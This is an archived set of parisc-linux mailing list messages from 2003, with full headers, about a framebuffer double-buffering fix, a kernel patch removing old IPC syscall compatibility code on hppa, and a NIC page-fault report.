	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hABHng2v008941;
	Tue, 11 Nov 2003 12:49:43 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hABHngZF008939;
	Tue, 11 Nov 2003 12:49:42 -0500 (EST)
In-Reply-To: <200311111156.58637.vapier@gentoo.org> from "Mike Frysinger" at Nov 11, 2003 11:56:47 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20084

> On Tuesday 11 November 2003 11:27, Joel Soete wrote:
> > well I don't know exactely what is realy makes and I presume that you
> > already test without (commented) those lines?
> 
> well the fb is messed up w/out X ... i just mentioned X because thats the r=
> eal=20
> reason i'm messing around with it ;)
> and yes, the viewport settings make no difference

The X config and the mode setting for the card have to match.  You
probably have the card in double buffered mode.  This isn't compatible
with the frame buffer driver.  The selected resolutions also have to match.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drawing incorrectly ?
Date: Tue, 11 Nov 2003 13:00:14 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <200311111300.19041.vapier@gentoo.org>
References: <200311101646.55611.vapier@gentoo.org> <20031110225434.GA27176@solo.franken.de>
Reply-To: vapier@gentoo.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  protocol="application/pgp-signature";
  micalg=pgp-sha1;
  boundary="Boundary-02=_zOSs/50bSVWsmdv";
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622957 1383 80.91.229.3 (22 Nov 2014 02:22:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 11:00:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1.WPI.EDU (mail1.WPI.EDU [130.215.36.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AD49483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 11:00:12 -0700 (MST)
Original-Received: from mcafee.wpi.edu (mcafee.WPI.EDU [130.215.36.86])
	by mail1.WPI.EDU (8.12.10/8.12.10) with SMTP id hABI0BdC005698
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 13:00:11 -0500
Original-Received: from smtp.WPI.EDU(130.215.36.186) by mcafee.wpi.edu via csmap 
	 id 14084; Tue, 11 Nov 2003 12:58:10 -0500 (EST)
Original-Received: from vapier.res.WPI.NET (vapier.res.WPI.NET [130.215.224.143])
	by smtp.WPI.EDU (8.12.10/8.12.10) with ESMTP id hABI08DF003025
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 13:00:08 -0500
User-Agent: KMail/1.5.4
In-Reply-To: <20031110225434.GA27176@solo.franken.de>
X-PMX-Version: 4.1.0.80455
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20085

--Boundary-02=_zOSs/50bSVWsmdv
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Description: signed data
Content-Disposition: inline

On Monday 10 November 2003 17:54, you wrote:
> try to turn off double buffering.

that did the trick, thanks everyone
-mike

--Boundary-02=_zOSs/50bSVWsmdv
Content-Type: application/pgp-signature
Content-Description: signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iQIVAwUAP7EjskFjO5/oN/WBAQJ2zBAA0LezmO0S+nHOksjDln7I2k612+NoDPMe
WJwUtQb1llIuda/9q7+PF3IzmDqeAIfzr5zQqHkTSkb8a3htrxURfpZrDQQsSMlq
28Lpq2zGcBman993EXEyt/ppj0S86Jbcgs0bOsV8EgmHjtuLLXzHNrnQl71QLP/+
orpXvrbkm+AZne1UT/6kd3576xxloLHKhoQF0rBCNIkRufGZfDHzdPf9dXId8AIU
mEJbG4gSDmC+4hbxQnZ9pNOUPA/qW3y0nSfRRKyRbwr0uIvDOTaCeIm5brAw3TpW
X7q6/QysT+iKY4QfBoFwWEcPZcW9C9TXhDxMEgXzuUnNBRmnnC8Q4SfFFLGD0+cN
VmZj+kvenUWnenI7AtaeEYRQM89Mpbhv4IFLoQb714WDk4vrTaN895ZhjDHc3XJY
VdI/MCvI9L9Jj50wsB+c2xM0rLlixGUhTQReVRDwRqK28ju0HMFtMXudxDQQ5vge
k/Ly4oUHJ6gm5tYsucMmPvOgawODwE6qJzpe7XTt9YbQ/yLfjeyQ24LH0kKuT6Az
+7H/PgK4nwdQPXaQgNLhvUXEAD49lLM7uyUJCfV8SXiKRntkNmKoRXK2cfZT+avH
XRGEiB8G4efHl0xWu/JUMXITUsi2gIED8V469tgobp2eMAzSNj4hR7a1nKTrBpfw
4LU8sShMnLI=
=+1sH
-----END PGP SIGNATURE-----

--Boundary-02=_zOSs/50bSVWsmdv--




From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Tue, 11 Nov 2003 20:41:15 +0000
Lines: 230
Approved: news@gmane.org
Message-ID: <3FB1496B.1080504@tiscali.be>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102225626.GF26916@systemhalted> <20031103085601.GA9083@solo.franken.de> <20031103214119.GD778@systemhalted> <20031110234414.GA27527@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622957 1385 80.91.229.3 (22 Nov 2014 02:22:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:37 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 13:41:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCF22483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 13:41:18 -0700 (MST)
Original-Received: from [62.235.121.60] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJfK7-0006zd-Is; Tue, 11 Nov 2003 21:41:15 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031110234414.GA27527@solo.franken.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20086


Thomas Bogendoerfer wrote:
> On Mon, Nov 03, 2003 at 04:41:19PM -0500, Carlos O'Donell wrote:
> 
>>On Mon, Nov 03, 2003 at 09:56:01AM +0100, Thomas Bogendoerfer wrote:
> 
> [ stuff about broken ipc syscalls in 2.6 ...]
> 
> I had some thoughts about the conversion stuff, I've added to work
> around problems introduced because of the change of some structures in
> glibc/kernel. I finally realized, that these conversion only works,
> if the "old glibc" is still installed together with the old binary.
> That's because the newer glibcs don't set the IPC_64 bit when doing 
> the syscall, but the old binary still uses the wrong structs, so the
> conversion routine never triggers. I think it's really time to remove that
> crap. Below is an compiled but not booted patch, which removes it and also
> forward ports the necessary bits in ipc/util.c from 2.4.

I also reach to compile 2.4 with this patch :).

Can you point me out what should I apply as change to glibc?

Thanks,
	Joel

> 
> If someone also wants to change glibc, feel free. I still think changing
> glibc is a bad idea, because this new glibc won't work with a current 2.4
> kernel.
> 
> Thomas.
> 
> 
> Index: arch/parisc/kernel/sys_parisc.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux-2.6/arch/parisc/kernel/sys_parisc.c,v
> retrieving revision 1.15
> diff -u -p -r1.15 sys_parisc.c
> --- arch/parisc/kernel/sys_parisc.c	1 Nov 2003 23:44:02 -0000	1.15
> +++ arch/parisc/kernel/sys_parisc.c	10 Nov 2003 23:17:53 -0000
> @@ -241,108 +241,6 @@ asmlinkage ssize_t parisc_readahead(int 
>  }
>  
>  /*
> - * FIXME, please remove this crap as soon as possible
> - *
> - * This is here to fix up broken glibc structures, 
> - * which are already fixed in newer glibcs
> - */
> -#include <linux/msg.h>
> -#include <linux/sem.h>
> -#include <linux/shm.h>
> -#include "sys32.h"
> -
> -struct broken_ipc_perm
> -{
> -    key_t key;			/* Key.  */
> -    uid_t uid;			/* Owner's user ID.  */
> -    gid_t gid;			/* Owner's group ID.  */
> -    uid_t cuid;			/* Creator's user ID.  */
> -    gid_t cgid;			/* Creator's group ID.  */
> -    unsigned short int mode;		/* Read/write permission.  */
> -    unsigned short int __pad1;
> -    unsigned short int seq;		/* Sequence number.  */
> -    unsigned short int __pad2;
> -    unsigned long int __unused1;
> -    unsigned long int __unused2;
> -};
> -		    
> -struct broken_shmid64_ds {
> -	struct broken_ipc_perm	shm_perm;	/* operation perms */
> -	size_t			shm_segsz;	/* size of segment (bytes) */
> -#ifndef __LP64__
> -	unsigned int		__pad1;
> -#endif
> -	__kernel_time_t		shm_atime;	/* last attach time */
> -#ifndef __LP64__
> -	unsigned int		__pad2;
> -#endif
> -	__kernel_time_t		shm_dtime;	/* last detach time */
> -#ifndef __LP64__
> -	unsigned int		__pad3;
> -#endif
> -	__kernel_time_t		shm_ctime;	/* last change time */
> -	__kernel_pid_t		shm_cpid;	/* pid of creator */
> -	__kernel_pid_t		shm_lpid;	/* pid of last operator */
> -	unsigned int		shm_nattch;	/* no. of current attaches */
> -	unsigned int		__unused1;
> -	unsigned int		__unused2;
> -};
> -
> -static void convert_broken_perm (struct broken_ipc_perm *out, struct ipc64_perm *in)
> -{
> -	out->key  = in->key;
> -	out->uid  = in->uid;
> -	out->gid  = in->gid;
> -	out->cuid = in->cuid;
> -	out->cgid = in->cgid;
> -	out->mode = in->mode;
> -	out->seq  = in->seq;
> -}
> -
> -static int copyout_broken_shmid64(struct broken_shmid64_ds *buf, struct shmid64_ds *sbuf)
> -{
> -	struct broken_shmid64_ds tbuf;
> -	
> -	memset(&tbuf, 0, sizeof tbuf);
> -	convert_broken_perm (&tbuf.shm_perm, &sbuf->shm_perm);
> -	tbuf.shm_segsz = sbuf->shm_segsz;
> -	tbuf.shm_atime = sbuf->shm_atime;
> -	tbuf.shm_dtime = sbuf->shm_dtime;
> -	tbuf.shm_ctime = sbuf->shm_ctime;
> -	tbuf.shm_cpid = sbuf->shm_cpid;
> -	tbuf.shm_lpid = sbuf->shm_lpid;
> -	tbuf.shm_nattch = sbuf->shm_nattch;
> -	return copy_to_user(buf, &tbuf, sizeof tbuf) ? -EFAULT : 0;
> -}
> -
> -int sys_msgctl_broken(int msqid, int cmd, struct msqid_ds *buf)
> -{
> -	return sys_msgctl (msqid, cmd & ~IPC_64, buf);
> -}
> -
> -int sys_semctl_broken(int semid, int semnum, int cmd, union semun arg)
> -{
> -	return sys_semctl (semid, semnum, cmd & ~IPC_64, arg);
> -}
> -
> -int sys_shmctl_broken(int shmid, int cmd, struct shmid64_ds *buf)
> -{
> -	struct shmid64_ds sbuf;
> -	int err;
> -
> -	if (cmd & IPC_64) {
> -		cmd &= ~IPC_64;
> -		if (cmd == IPC_STAT || cmd == SHM_STAT) {
> -			KERNEL_SYSCALL(err, sys_shmctl, shmid, cmd, (struct shmid_ds *)&sbuf);
> -			if (err == 0)
> -				err = copyout_broken_shmid64((struct broken_shmid64_ds *)buf, &sbuf);
> -			return err;
> -		}
> -	}
> -	return sys_shmctl (shmid, cmd, (struct shmid_ds *)buf);
> -}
> -
> -/*
>   * This changes the io permissions bitmap in the current task.
>   */
>  asmlinkage int sys_ioperm(unsigned long from, unsigned long num, int turn_on)
> Index: arch/parisc/kernel/sys_parisc32.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux-2.6/arch/parisc/kernel/sys_parisc32.c,v
> retrieving revision 1.11
> diff -u -p -r1.11 sys_parisc32.c
> --- arch/parisc/kernel/sys_parisc32.c	28 Sep 2003 04:04:52 -0000	1.11
> +++ arch/parisc/kernel/sys_parisc32.c	10 Nov 2003 23:19:00 -0000
> @@ -1352,12 +1352,10 @@ asmlinkage int sys32_lseek(unsigned int 
>  	return sys_lseek(fd, offset, origin);
>  }
>  
> -asmlinkage long sys32_semctl_broken(int semid, int semnum, int cmd, union semun arg)
> +asmlinkage long sys32_semctl(int semid, int semnum, int cmd, union semun arg)
>  {
>          union semun u;
>  	
> -	cmd &= ~IPC_64; /* should be removed together with the _broken suffix */
> -
>          if (cmd == SETVAL) {
>                  /* Ugh.  arg is a union of int,ptr,ptr,ptr, so is 8 bytes.
>                   * The int should be in the first 4, but our argument
> Index: arch/parisc/kernel/syscall_table.S
> ===================================================================
> RCS file: /home/cvs/parisc/linux-2.6/arch/parisc/kernel/syscall_table.S,v
> retrieving revision 1.2
> diff -u -p -r1.2 syscall_table.S
> --- arch/parisc/kernel/syscall_table.S	2 Nov 2003 04:40:50 -0000	1.2
> +++ arch/parisc/kernel/syscall_table.S	10 Nov 2003 23:18:46 -0000
> @@ -260,15 +260,15 @@
>  	ENTRY_COMP(recvmsg)
>  	ENTRY_SAME(semop)		/* 185 */
>  	ENTRY_SAME(semget)
> -	ENTRY_DIFF(semctl_broken)
> +	ENTRY_DIFF(semctl)
>  	ENTRY_DIFF(msgsnd)
>  	ENTRY_DIFF(msgrcv)
>  	ENTRY_SAME(msgget)		/* 190 */
> -	ENTRY_SAME(msgctl_broken)
> +	ENTRY_SAME(msgctl)
>  	ENTRY_SAME(shmat_wrapper)
>  	ENTRY_SAME(shmdt)
>  	ENTRY_SAME(shmget)
> -	ENTRY_SAME(shmctl_broken)	/* 195 */
> +	ENTRY_SAME(shmctl)		/* 195 */
>  	ENTRY_SAME(ni_syscall)		/* streams1 */
>  	ENTRY_SAME(ni_syscall)		/* streams2 */
>  	ENTRY_SAME(lstat64)
> Index: ipc/util.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux-2.6/ipc/util.c,v
> retrieving revision 1.3
> diff -u -p -r1.3 util.c
> --- ipc/util.c	8 Oct 2003 20:53:06 -0000	1.3
> +++ ipc/util.c	10 Nov 2003 23:19:41 -0000
> @@ -509,7 +509,7 @@ int ipc_checkid(struct ipc_ids* ids, str
>  	return 0;
>  }
>  
> -#if !defined(__ia64__) && !defined(__x86_64__)
> +#if !defined(__ia64__) && !defined(__x86_64__) && !defined(__hppa__)
>  
>  /**
>   *	ipc_parse_version	-	IPC call version
> Index: ipc/util.h
> ===================================================================
> RCS file: /home/cvs/parisc/linux-2.6/ipc/util.h,v
> retrieving revision 1.1
> diff -u -p -r1.1 util.h
> --- ipc/util.h	29 Jul 2003 17:02:19 -0000	1.1
> +++ ipc/util.h	10 Nov 2003 23:20:13 -0000
> @@ -56,7 +56,7 @@ int ipc_checkid(struct ipc_ids* ids, str
>  void kernel_to_ipc64_perm(struct kern_ipc_perm *in, struct ipc64_perm *out);
>  void ipc64_perm_to_ipc_perm(struct ipc64_perm *in, struct ipc_perm *out);
>  
> -#if defined(__ia64__) || defined(__x86_64__)
> +#if defined(__ia64__) || defined(__x86_64__) || defined(__hppa__)
>    /* On IA-64, we always use the "64-bit version" of the IPC structures.  */ 
>  # define ipc_parse_version(cmd)	IPC_64
>  #else



From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Tue, 11 Nov 2003 16:46:10 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <20031111214610.GJ18512@systemhalted>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102225626.GF26916@systemhalted> <20031103085601.GA9083@solo.franken.de> <20031103214119.GD778@systemhalted> <20031110234414.GA27527@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622957 1387 80.91.229.3 (22 Nov 2014 02:22:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:37 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 14:51:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 627F54840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 14:51:19 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AJgKw-0005f0-00; Tue, 11 Nov 2003 16:46:10 -0500
Content-Disposition: inline
In-Reply-To: <20031110234414.GA27527@solo.franken.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20087

> I had some thoughts about the conversion stuff, I've added to work
> around problems introduced because of the change of some structures in
> glibc/kernel. I finally realized, that these conversion only works,
> if the "old glibc" is still installed together with the old binary.
> That's because the newer glibcs don't set the IPC_64 bit when doing 
> the syscall, but the old binary still uses the wrong structs, so the
> conversion routine never triggers. I think it's really time to remove that
> crap. Below is an compiled but not booted patch, which removes it and also
> forward ports the necessary bits in ipc/util.c from 2.4. 

The following things confuse me.

a. Our glibc never set IPC_64, we had pass-thru assembly syscall
   wrappers. Why? Because we don't have an IPC multiplexor, none of the
   generic glibc code can be used by hppa.

So I don't understand some of your comments about "old glibc setting
IPC_64."

> If someone also wants to change glibc, feel free. I still think changing
> glibc is a bad idea, because this new glibc won't work with a current 2.4
> kernel.

I believed we had the following scenario:

a. Old glibc never called with IPC_64.
b. Kernel turned IPC_64 on for us so we get the new style structs.
c. Apps get new style structs without calling IPC_64.

Now we wish to have the hack in the kernel removed, but apps exist that
expect newstyle structs without calling IPC_64. Thus glibc has to
call the syscall with IPC_64 to get the right value back to userspace.

AFAIK the following is required:

a. Remove kernel hacks (Thanks Thomas!).
b. Add glibc code to turn IPC_64 on for all the afflicted syscalls.
c. Eventually when all the apps disappear we can toss out the code from
   glibc.

Thomas, did I get this right?

Cheers,
Carlos.



From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Tue, 11 Nov 2003 20:22:30 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20031112032230.GB12000@colo.lackof.org>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622958 1393 80.91.229.3 (22 Nov 2014 02:22:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:38 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 20:22:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E884F4840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 20:22:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 25B08298047; Tue, 11 Nov 2003 20:22:31 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13461-02; Tue, 11 Nov 2003 20:22:30 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6E8AB298043; Tue, 11 Nov 2003 20:22:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FB0DC01.6070701@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20088

On Tue, Nov 11, 2003 at 12:54:25PM +0000, Joel Soete wrote:
...
> but on c110 I noticed many (with rx_copybreak = 100 and rx_copybreak = 
> 1518):
> do_page_fault() pid=882 command='netserver' type=15 address=0x0000001c
> ...

hrm...this sounds familiar...I might have only run the netperf "client"
on parisc and ran "netserver" on either ia64 or ia32 box. :^/

sorry,
grant


From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Wed, 12 Nov 2003 16:32:55 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <20031112153255.GB11192@solo.franken.de>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102225626.GF26916@systemhalted> <20031103085601.GA9083@solo.franken.de> <20031103214119.GD778@systemhalted> <20031110234414.GA27527@solo.franken.de> <20031111214610.GJ18512@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622958 1402 80.91.229.3 (22 Nov 2014 02:22:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:38 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 12 08:33:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1B50483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Nov 2003 08:33:32 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AJwzl-0004oj-00; Wed, 12 Nov 2003 16:33:25 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id EED4D27C9C; Wed, 12 Nov 2003 16:32:55 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031111214610.GJ18512@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20089

On Tue, Nov 11, 2003 at 04:46:10PM -0500, Carlos O'Donell wrote:
> > I had some thoughts about the conversion stuff, I've added to work
> > around problems introduced because of the change of some structures in
> > glibc/kernel. I finally realized, that these conversion only works,
> > if the "old glibc" is still installed together with the old binary.
